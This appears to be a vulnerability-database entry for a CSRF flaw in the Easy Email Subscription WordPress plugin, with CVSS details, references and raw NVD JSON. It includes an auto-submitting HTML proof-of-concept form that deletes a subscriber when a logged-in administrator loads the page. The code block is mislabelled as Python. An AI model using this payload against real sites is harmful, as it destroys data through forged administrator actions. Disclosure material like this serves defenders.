CVE-2025-10691

Description

The Easy Email Subscription plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3. This is due to missing or incorrect nonce validation on the show_editsub_page() function. This makes it possible for unauthenticated attackers to delete arbitrary subscribers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Easy Email Subscription plugin ≤ 1.3 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-10691: Delete arbitrary subscriber -->
<html>
  <body>
    <h2>CVE-2025-10691 CSRF PoC</h2>
    <p>Delete subscriber with ID 1</p>
    <form action="http://target-wordpress-site/wp-admin/admin.php" method="POST">
      <input type="hidden" name="page" value="email-subscription-with-secure-captcha" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="subscriber_id" value="1" />
      <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=email-subscription-with-secure-captcha" />
      <input type="submit" value="Delete Subscriber" />
    </form>
    <script>
      // Auto-submit form when page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-10691
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-10691
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-10691/
[4] VulDB https://vuldb.com/cve/CVE-2025-10691
[5] https://plugins.trac.wordpress.org/changeset/3388578/email-subscription-with-secure-captcha
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/53234e29-5213-4acd-abfe-5c4ea5dbf829?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-10691", "sourceIdentifier": "[email protected]", "published": "2025-11-06T04:15:32.177", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Easy Email Subscription plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3. This is due to missing or incorrect nonce validation on the show_editsub_page() function. This makes it possible for unauthenticated attackers to delete arbitrary subscribers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3388578/email-subscription-with-secure-captcha", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/53234e29-5213-4acd-abfe-5c4ea5dbf829?source=cve", "source": "[email protected]"}]}}